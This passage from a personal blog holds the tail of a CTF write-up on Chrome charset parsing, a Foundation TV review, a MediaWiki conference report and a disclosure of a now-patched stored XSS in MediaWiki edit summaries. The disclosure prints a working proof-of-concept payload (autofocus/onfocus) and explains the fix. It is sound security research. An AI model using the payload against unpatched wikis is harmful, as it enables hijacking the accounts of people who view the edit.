It took me quite a while to figure out why. Turns out chrome will wait a certain amount of time before preceding with parsing a partial response. The HTML5 spec suggests this should be at least 1024 bytes or 500ms (Whichever is longer), but it is unclear what chrome actually does. Testing this on localhost of course makes the network much more efficient. The MTU of the loopback interface is 64kb, so each packet is much bigger. Everything also happens much faster, so the timeout is much less likely to be reached.

Thus i did another test, where i used a php script, but put <?php flush();sleep(1); ?> in the middle, to force a delay. This worked much better in my testing. Equivalently I probably could have just tested on the remote version of the challenge.

After several hours of trying to debug, I had thus realized I had solved the problem several hours ago :(. In any case the previous snippet worked when run on the remote.

Conclusion

This was a really fun challenge. It had me reading the HTML5 spec with a fine tooth comb, as well as making many experiments to verify behaviour - the mark of an amazing web chall.

I do find it fascinating that the HTML5 spec says:

Warning: The decoder algorithms describe how to handle invalid input; for security reasons, it is imperative that those rules be followed precisely. Differences in how invalid byte sequences are handled can result in, amongst other problems, script injection vulnerabilities ("XSS").

And yet, Chrome had significant deviations from the spec. For example, <meta> tags (after pre-scan) are supposed to be ignored in <noscript> tags when scripting is enabled, and yet they weren't. <meta> tags are supposed to be taken into account inside <script> tags during pre-scan, and yet they weren't. According to the spec, if a late <meta> tag is encountered, browsers are supposed to either reparse the entire document or ignore it, but according to other contestants chrome does neither and instead switches midstream.

Thanks to project Sekai for hosting a great CTF.

Thursday, June 27, 2024

TV shows: Foundation

I finally decided to watch the Foundation.

I read the books as a teenager. I remember liking it at the time, but it had also been a while. I always liked the idea of saving the world through making an Encyclopedia. Even if it was a trick in the story, the mission of the encyclopediaists always reminded me of Wikipedia and its mission, something which had a big impact on my life. I did end up being inspired to re-read the book after watching the show and refresh my knowledge.

The premise of both the book and the show, is essentially the fall of the roman empire in space. There is a giant sprawling space empire, this has been stagnating for a while now and is about to slowly collapse. A mathematician named Hari Seldon comes up with a statistical method dubbed "psychohistory" to predict large scale events at a population level (but importantly not at an individual level). He predicts the fall of the Empire and a resulting dark age. He believes that he can cushion the fall by setting up a colony called the foundation, which will keep advanced technology alive and serve as a seed to rebuild society after the fall, ostensibly by compiling an encyclopedia.

tl;dr: The TV show wasn't great.

It is an utterly terrible adaption of the source material. Taken independently from the source material, it is a mediocre Sci-Fi show with decent visuals and some interesting ideas but overall terrible writing. All in all quite disappointing with some good moments thrown in the mix.

The Good

There are actually some good parts to this.

Most notably, I love the idea of the "genetic dynasty". The source material provides snippets in time of important moments in the history of the foundation. Each foundation story is set in a different time, typically with a different cast of characters, or at least the young characters from the previous story being very old in the next.

This of course makes it hard to adapt to television if you are changing the cast between seasons or even episodes. The show works around this in a bunch of ways, including cryogenic freezing, personality uploading/downloading, possibly there might even have been time dilation somewhere in there, I can't remember. Most of these were under-developed and pretty lame.

The exception was their concept of the galactic empire being ruled by a series of clones, the "genetic dynasty", with 3 clones active at any one time (A young one, a mid-aged one, and a senior clone). This was not in the books, but an excellent idea to provide something for the audience to latch on to as generations pass in the show.

The Galactic Emperors - Cleon

However its not just the idea that was great, but the execution was on point. The emperor was probably the only consistently well developed character in the show. Lee Pace's acting really brought the mid-aged emperor to life. The emperor was consistently the best part of this show.

I think its no coincidence that the plot thread least connected to the books was also the best. While watching, it felt like the parts based on the book were often misunderstood by the show writers, adapted in such a way that they no longer made sense or lost what made them interesting. Cleon's character was entirely new, thus the show writers could make him what they needed him to be, instead of trying to force a square character through a round plot hole.

I'd also say that generally acting was pretty good. I thought Lou Llobell did as good a job as possible with Gaal despite the writers making the character do all sorts of silly things.

The Bad

If you do a death fake-out once, its probably a bit of a hack but no terrible. If you do death fake-outs so many times that I lose count, it is just bad writing.

Soooo many death fake-outs and resurrections.

Fundamentally the problem with this show was bad writing. Character motivations not making sense with their back story, characters suddenly doing stupid things to move the plot along, etc. If you want your character to be a bad-ass, you can't have her fall for the most obvious traps ever. If you want her to be super stoic and logical, you can't have her throwing temper tantrums (She can still get revenge, just if she is introduced as the logical one have her actually plot something with logic instead of lashing out in the moment).


We spent basically a season watching you be angsty, trapped on the spaceship only for the payoff to be you disappearing.

This was especially pronounced with the characters most connected to the foundation. I think what happened is the characters were changed enough that their original motivations in the book no longer apply, but the writers still wanted to get to the major plot events in the book. Hence the characters did things against their character development to advanced the plot in the direction the writers needed. Often the result was boring characters who just seemed to be hanging out killing time until their part of the plot was ready to happen. When it eventually did happen, it was pretty underwhelming as most of the character motivation no longer made any sense.

The other way the writing was disappointing was how much science magic was introduced as a plot connivance without much regard to how it affected the world.

Hari Seldon can upload his consciousness to a computer. Nobody else can, even though in-universe the original emperor Cleon is obsessed with cheating death and would certainly want to. Hari Seldon can split himself into multiple digital copies; nobody else seems to want to or be able to. Hari Seldon somehow goes to a secret cave where he gets put back into a freshly made body, because reasons. Nobody else seems to avail themselves of downloading into new bodies. Hari Seldon's magic notebook is also a tesseract that allows instantaneous travel between different parts of the universe. For some reason he is the only one with this technology. Essentially Hari Seldon is a space wizard with a bag of universe changing magic tricks that only he can use for unknown reasons.

The ugly

All of the above might make this a mediocre show. Not great, but certainly still watchable. Taken by itself, that is certainly true.

I think the truly disappointing part is what a bad adaption this is of the Foundation novels, at a time when I think the world would be ready for an adaption of the type of novels the Foundation is.

If the foundation novels have a take away, it is brain over brawn.

Unlike many contemporary (and modern) sci-fi novels, where the protagonist is an action hero bad-ass, the heroes of the foundation (or in later novels, the second foundation) are physically weak. They win the day through outwitting their opponents and manipulating situations to their advantage even though they would clearly lose in a head-on confrontation.

The hero of a foundation novel is a less ethical captain Picard not a captain Kirk.

I've heard some people describe this as a "nerd" novel for this reason. I think that may have made sense in the 80s, but modern conceptions of the term "nerd" have changed a lot in the last 40 years such that I'm not sure that still makes sense.

The TV show changes things up. The main characters are obviously gender swapped, however I don't really care about that. The worst part is that they have essentially been converted into generic action heroes. All of their characterizations are of stereotypical masculine strength - the avoidance of which is the very thing that made the Foundation novels interesting!

Gaal's main character trait seems to be swimming, just endless swimming. We are told she is smart, but never really shown it. Hardin on the other hand is such a mountain man that she may as well have been played by Ron Swanson from parks & rec. Both are very much depicted as strong in a very traditional manner.

More importantly, problems get solved at the point of a gun in the TV show. Hardin says things like "Violence is the last refuge of the incompetent" in both the book and the TV show. The difference being that in the TV show she says it after shooting hundreds of people. In the book, he at most indirectly causes one person to be beaten up.

Book Hardin is not powerful because he is good at shooting people. He is powerful because he wins the war without firing a shot.

I think all this is a missed opportunity. TV is full of bad-ass, shoot first, ask questions later female characters. Don't get me wrong, I love them, but the trope is a bit over-worn at this point. The foundation books are interesting because they didn't use that trope. Instead they showed a different conception of power - characters who get their power from their wits, ranging from machiavellian scheming to diplomacy. This is not just much more interesting than action-barbie but also something that I think is really missing from the modern TV landscape. Just because the protagonist had a gender swap, does not mean they have follow some outdated sterotype of what it means to be powerful.

Conclusion

Still watchable, but very trope filled, and almost certainly a disappointment to any fan of the original books. Would probably be better if they took the parts not related to the foundation stories, and just made their own story in their own universe, as there are some interesting things there that are weighed down by the burden of servicing a bad adaption of the original novels.

Tuesday, April 23, 2024

MediaWiki Users and Developers Conference Spring 2024

Last week I went to Portland for the MediaWiki Users and Developers conference (nee EMWCon). This is primarily a conference for people doing stuff with MediaWiki outside of Wikimedia. I had a blast.

I always enjoy conferences on the smaller side. They feel so much more personal. This year's conference had Ward Cunningham as the guest of honour. Ward was a fascinating person to meet and get to talk to.

I also must say hats off to the organizers - conference ran smoothly, venue was great, food was amazing. Seriously some of the best food I've ever had at any Wikimedia conference.

This was also my first time in Portland. Portland is a beautiful city. I didn't have a huge amount of time to explore the city, but I did manage to go to the Chinese garden, which was absolutely stunning. I also loved how many interesting murals there were in the city. Even the graffiti seemed prettier than normal.

While listening to the talks, I realized that a good talk is very similar to a good design doc. Perhaps this is an obvious comparison, but I never really noticed before how similar the two things are. In both cases, you want to give the reader/viewer context about the problem you want to solve, what solution you chose, why you chose it and how it worked out. At the same time you want to avoid the temptation to go too far into implementation details.

I think my favourite talk was Jeffery's. He demo'd using LLMs to answer questions based on the content of the Wiki. The demo deities weren't fully in his favour, but I think it also demonstrated an important point that LLMs are cutting edge technologies that don't always give the expected answer 100% of the time. In any case, he did a great job presenting.

I did get the sense that I think some participants were disappointed that there was very little representation of WMF management (whether "real" management or product management) at the conference. Birgit did give a remote talk and Selena did come to a happy hour event after the conference, but neither really participated.

I don't think the participants necessarily wanted anything from WMF management, but there is a little bit of a feeling of being unseen. Many of the conference goers use MediaWiki for their own purposes and are interested to know what WMFs plans are for the future and how it will affect them (as do we all).

I think some participants were hoping to maybe make some connections for better mutual understanding and just reduce uncertainty about what is on the roadmap for MediaWiki. In theory Birgit's talk was about the plans for MediaWiki, but I suspect it was too laden with annual planning corporate buzzwords for anyone to figure out what it actually meant concretely.

The flip side of that of course is that open source is a do-orcracy. The corporate MediaWiki users as a general rule do not contribute back to MediaWiki core all that often, which is the price of admission to the various power structures of MediaWiki.

Create Camp

At the create camp, I had a long chat with Mark about what parts of the documentation are unclear to users new to MediaWiki. While I think all of will admit that our documentation is sub-par (bug 1), it was great to get a fresh perspective on it.

I think adding screencasts in addition to the written documentation can help with the problem of assumed knowledge and missing implied steps.

I also heard a bit about SemanticMediaWiki (SMW) bug 5392. This is a bug where sometimes SMW drops properties associated with a page. It seems like there is a lot of frustration among the SMW community over this bug. At the same time, it doesn't seem like anyone has seriously tried to debug it. The bug does look a bit annoying to track down. It appears to be some sort of race condition, appearing somewhat randomly and more often when there are multiple things going on at the same time (e.g. the job queue is being run with more threads seems to make it more common) but nobody really knows so hence there are no steps to reproduce. Additionally there has been no attempts to create a minimal test case (e.g. What extensions are needed for the bug to appear) nor has anyone posted any debug logs from the parses in question. No one has even determined if the properties are missing at parse time or if they are being overridden at a later time. Anyways, I suspect its going no where unless people post a lot more information on the task or they hand over a server experiencing the bug to someone good at debugging.

Conclusion

I had a great time. Hopefully I'll be able to come again next year.

Saturday, March 30, 2024

MediaWiki edit summary XSS write-up

Back in January, I discovered a stored XSS vulnerability in core MediaWiki (T355538; CVE-2024-34507). Essentially by setting a specific edit summary when editing a page, you could run javascript (And take over the account of anyone viewing the edit summary, for example on the history page or recentchanges)

MediaWiki core is generally pretty good when it comes to security. There are many sketchy extensions, and sometimes there are issues where an admin might be able to run javascript, but by and large unauthenticated XSS vulns are fairly rare. I think the last one was CVE-2021-44858 from back in 2021. The next one before that was CVE-2017-8815 in 2017, which only applied to wikis configured to have a site language of certain languages (e.g. Serbian and Chinese). At least, those were the ones I found when looking through the list. Hopefully I didn't miss any. In any case, finding XSS triggerable by an unprivleged attacker in MediaWiki core is pretty hard.

So what is the bug? The proof of concept looks like this - Create an edit with the following edit summary:

[[Special:RecentChanges#%1b0000000|link1]] [[PageThatExists#/autofocus/onfocus=alert("xss\n"+document.domain)//|link2]]

This feels a bit random at first glance. How does it work?

The edit summary parser

Whenever you edit a page on MediaWiki, there is a box for your edit summary. This is essentially MediaWiki's version of a commit message.

Very little formatting is allowed in this summary. A major exception is links. You can link to other pages by enclosing the link in [[ and ]].

So this explains a little bit about the proof-of-concept - it involves 2 links. But why 2? It doesn't work with just 1. What is with the weird link targets? They are clearly abnormal, but they also don't look like typical XSS. There are no < or >, there aren't even any unclosed quotes.

Lets take a deeper look at how MediaWiki applies formatting to these edit summaries. The code where all this happens is includes/CommentFormatter/CommentParser.php.

The first thing we might notice is the following line in CommentParser::preprocessInternal: "// \x1b needs to be stripped because it is used for link markers"

In the proof of concept, the first part is [[Special:RecentChanges#%1b0000000|link1]], where %1b appears. This is a good hint that it has something to do with link markers, whatever those are.

`Link markers`

But what are link markers?

When MediaWiki makes a link, it needs to know whether the page being linked to exists or not, since missing pages use a red colour. The most natural way of doing this is, when encountering a link, to check in the DB whether or not the page exists.

However, there is a problem. When rendering a long page with a lot of links, we have to do a lot of DB lookups. The lookups are simple, but still on a separate (albeit nearby server). Each page to lookup involves a local network request to fetch the page status. While that is happening, MW just sits and waits. This is all very fast, but even still it adds up a little bit if you have say 500 links on a page.

The solution to this problem was to batch the queries. Instead of immediately looking up the page, MW would put a small link marker in the page at that point and carry on. Once it is finished, it would look up all the links all at once, and then do another pass to replace all the link markers.

So this is what a link marker is, just a little marker to tell MW to come back to this spot later after it figured out if all the links exist. The format of this marker is \x1B<number> (So \x1B0000000 for the first one, \x1B0000001 for the second, and so on). \x1B is the ASCII escape character.

`Back to the PoC`

This explains the first part of the proof of concept: [[Special:RecentChanges#%1b0000000|link1]] - the link target is a link marker. The code has a line:

// Fix up urlencoded title texts (copied from Parser::replaceInternalLinks) if ( strpos( $match[1], '%' ) !== false ) { $match[1] = strtr( rawurldecode( $match[1] ), [ '<' => '<', '>' => '>' ] ); }

Which normalizes titles using percent encoding to use the real characters. Thus the %1B gets replaced with an actual 0x1B byte sequence. The code did try and strip 0x1B characters earlier, but at that point, it was still just %1b and did not match the check.

We now have a link with a link marker inside of it. An important note here is that Special:RecentChanges is not a normal page. It is a special page. MediaWiki knows it exists without having to consult the database, so it does not get the link marker treatment. This is important because we cannot use it as a fake link marker if it gets replaced by a real link marker.

At this stage after inserting link markers, the proof of concept becomes the following string:

<a href="/w/index.php/Special:RecentChanges#\x1B000000" title="Special:RecentChanges">link1</a> \x1B0000000

A link with a link marker inside it!

`The second link`

The \x1B0000000 is a stand in for [[PageThatExists#/autofocus/onfocus=alert("xss\n"+document.domain)//|link2]].

The replacement at the end is a normal replacement, and everything is fine. However there are now two replacements - there is also the replacement inside the link: href="/w/index.php/Special:RecentChanges#\x1B000000"

This is the fake link marker that we contrived to get inserted. Unlike the normal link markers, this is inside an attribute. The replacement text assumes it is being inserted as normal HTML, not as an attribute. Since it is a full link that also has quotes inside it, the two layers of quotes will interfere with each other.

Once the replacements happen we get the following mangled HTML for our proof of concept:

<a href="/w/index.php/Special:RecentChanges#<a href="/w/index.php/Test#/autofocus/onfocus=alert(&quot;xss\n&quot;+document.domain)//" title="Test">link2</a>" title="Special:RecentChanges">link1</a> <a href="/w/index.php/Test#/autofocus/onfocus=alert(&quot;xss\n&quot;+document.domain)//" title="Test">link2</a>

This obviously looks wrong, but its a bit unclear how browsers interpret it. A little known fact about HTML - /'s can separate attributes so long as no equal signs have been encountered yet. After the browser hits the second " mark, it thinks the href attribute is closed and that the remaing is some additional attributes. The browser essentially parses the above html as if it was:

<a href="/w/index.php/Special:RecentChanges#<a href=" w="" index.php="" Test#="" autofocus onfocus="alert(&quot;xss\n&quot;+document.domain)//&quot;" title="Test">link2</a>" title="Special:RecentChanges"&gt;link1</a> <a href="/w/index.php/Test#/autofocus/onfocus=alert(&quot;xss\n&quot;+document.domain)//" title="Test">link2</a>

In other words, an <a> tag, that has an attribute named autofocus and an onfocus event handler. On page load, the link is automatically focused, which triggers the javascript in the onfocus attribute to run, allowing the attacker to do what they want.

`Take aways`

I think the major take aways is that running Regexes over partially parsed HTML is always scary. We've had similar issues in the past, for example T110143.

The general pattern we've used to fix this and similar issues, is make sure the replacement token has special characters that would be mangled if it appeared in an unexpected context. Concretely, we added " and ' to the token, which would get escaped if placed in an attribute, and thus no longer matching and no longer being replaced.

More generally though, I think this is a good example of why even a minimal CSP policy would be helpful.

CSP is a complex standard, that can do a lot of things and has a lot of pieces. One of the things it can do, is disable "unsafe-inline" javascript. This means javascript from attributes (like onfocus) and javascript URLs. Usually this also includes inline <script> tags without a nonce, but that part is optional. A key point here, is this also generally means you cannot execute javascript via .innerHTML anymore, which is a fairly common vector for XSS via javascript.

Normally disabling unsafe-inline would be part of a broader effort to secure javascript, however its possible to take things a step at a time. This vulnerability would have been stopped just by disabling event attributes. A surprising portion of MediaWiki & extension XSS vulns [Excluding boring - an admin can change something in an unsafe way issues] involve just html attributes (or javascript: urls), which is a web feature that nobody really needs for legit reasons and is generally considered bad practise in normal usage. Even the most minimal CSP policy might really help MediaWiki's overall security posture against XSS vulns.

For more info about the vulnerability, please see the original report at https://phabricator.wikimedia.org/T355538.

Bawolff's rants

Followers

Blog Archive

About Me

Sunday, December 1, 2024

Writeup for the flatt XSS challenge

Challenge 1 (hamayan)

Challenge 2 (Ryotak)

The client-side setup

Client side bypass

The server-side part

Challenge 3 (kinugawa)

The Setup

The solution

Conclusion

Tuesday, October 1, 2024

Hashtags and implementing extensions in MediaWiki by modifying services

Why Hashtags

How the extension works

Services and dependency injection

MediaWikiServices

What does this have to do with Hashtags?

Using Services as an extension mechanism

Testability

Conclusion

Tuesday, September 3, 2024

SekaiCTF 2024 - htmlsandbox

The problem

CSP meta tag

The hint

Charset confusion

An Example

Exploiting the detection algorithm

Conclusion

Thursday, June 27, 2024

TV shows: Foundation

The Good

The Bad

The ugly

Conclusion

Tuesday, April 23, 2024

MediaWiki Users and Developers Conference Spring 2024

Create Camp

Conclusion

Saturday, March 30, 2024

MediaWiki edit summary XSS write-up

The edit summary parser

Link markers

Back to the PoC

The second link

Take aways

`Link markers`

`Back to the PoC`

`The second link`

`Take aways`